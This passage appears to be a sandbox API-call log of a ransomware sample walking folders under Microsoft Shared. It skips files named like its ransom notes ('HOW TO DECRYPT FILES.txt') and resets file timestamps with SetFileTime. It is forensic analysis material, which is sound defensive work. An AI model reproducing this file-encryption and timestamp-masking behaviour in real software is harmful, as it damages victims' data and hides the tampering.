ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8260 [0059.676] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.676] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.676] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.676] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.676] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0059.676] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.676] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOInstallerUI.dll") returned -1 [0059.676] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOInstallerUI.dll") returned -1 [0059.677] lstrcmpiA (lpString1="", lpString2="VSTOInstallerUI.dll") returned -1 [0059.677] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*") returned="*.*" [0059.677] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" [0059.677] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\") returned="" [0059.682] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.682] CloseHandle (hObject=0x94) returned 1 [0059.683] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x4f8580, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0059.683] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.683] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOLoaderUI.dll") returned -1 [0059.683] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOLoaderUI.dll") returned -1 [0059.683] lstrcmpiA (lpString1="", lpString2="VSTOLoaderUI.dll") returned -1 [0059.683] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned="VSTOInstallerUI.dll" [0059.683] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" [0059.683] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\") returned="" [0059.683] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x4f8580, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0059.683] FindClose (in: hFindFile=0x4f8260 | out: hFindFile=0x4f8260) returned 1 [0059.684] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0059.684] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.684] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOInstaller.config") returned -1 [0059.684] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOInstaller.config") returned -1 [0059.684] lstrcmpiA (lpString1="", lpString2="VSTOInstaller.config") returned -1 [0059.684] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*") returned="*.*" [0059.684] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" [0059.684] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="" [0059.686] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.686] CloseHandle (hObject=0x90) returned 1 [0059.686] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0059.686] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.686] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOInstaller.exe") returned -1 [0059.687] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOInstaller.exe") returned -1 [0059.687] lstrcmpiA (lpString1="", lpString2="VSTOInstaller.exe") returned -1 [0059.687] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned="VSTOInstaller.config" [0059.687] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" [0059.687] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="" [0059.687] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0059.687] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.687] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOLoader.dll") returned -1 [0059.687] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOLoader.dll") returned -1 [0059.687] lstrcmpiA (lpString1="", lpString2="VSTOLoader.dll") returned -1 [0059.687] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe") returned="VSTOInstaller.exe" [0059.687] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" [0059.687] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="" [0059.688] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0059.688] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.688] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOMessageProvider.dll") returned -1 [0059.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOMessageProvider.dll") returned -1 [0059.688] lstrcmpiA (lpString1="", lpString2="VSTOMessageProvider.dll") returned -1 [0059.688] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOLoader.dll") returned="VSTOLoader.dll" [0059.688] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" [0059.688] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\") returned="" [0059.688] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0059.688] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.688] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0059.688] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.688] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vstoee.dll") returned -1 [0059.688] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vstoee.dll") returned -1 [0059.688] lstrcmpiA (lpString1="", lpString2="vstoee.dll") returned -1 [0059.688] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*") returned="*.*" [0059.688] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" [0059.688] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="" [0059.700] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.700] CloseHandle (hObject=0x8c) returned 1 [0059.700] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x4f84a0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0059.700] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.700] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vstoee100.tlb") returned -1 [0059.700] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vstoee100.tlb") returned -1 [0059.700] lstrcmpiA (lpString1="", lpString2="vstoee100.tlb") returned -1 [0059.700] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll") returned="vstoee.dll" [0059.700] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" [0059.700] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="" [0059.701] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0059.701] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.701] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vstoee90.tlb") returned -1 [0059.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vstoee90.tlb") returned -1 [0059.701] lstrcmpiA (lpString1="", lpString2="vstoee90.tlb") returned -1 [0059.701] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb") returned="vstoee100.tlb" [0059.701] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" [0059.701] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned="" [0059.701] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0059.701] FindClose (in: hFindFile=0x4f8190 | out: hFindFile=0x4f8190) returned 1 [0059.701] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0059.701] lstrcmpA (lpString1=".", lpString2="Web Folders") returned -1 [0059.701] lstrcmpA (lpString1="..", lpString2="Web Folders") returned -1 [0059.701] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.701] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81a0 [0059.703] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.703] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.703] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.703] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.703] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.703] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0059.703] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0059.703] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*") returned="*.*" [0059.703] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.703] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.703] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.703] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.703] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.703] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0059.703] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOSVINT.DLL") returned -1 [0059.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOSVINT.DLL") returned -1 [0059.704] lstrcmpiA (lpString1="", lpString2="MSOSVINT.DLL") returned -1 [0059.704] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*") returned="*.*" [0059.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\" [0059.704] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\") returned="" [0059.705] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.705] CloseHandle (hObject=0x90) returned 1 [0059.705] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0059.706] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.706] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0059.706] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.706] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOSV.DLL") returned -1 [0059.706] lstrcmpiA 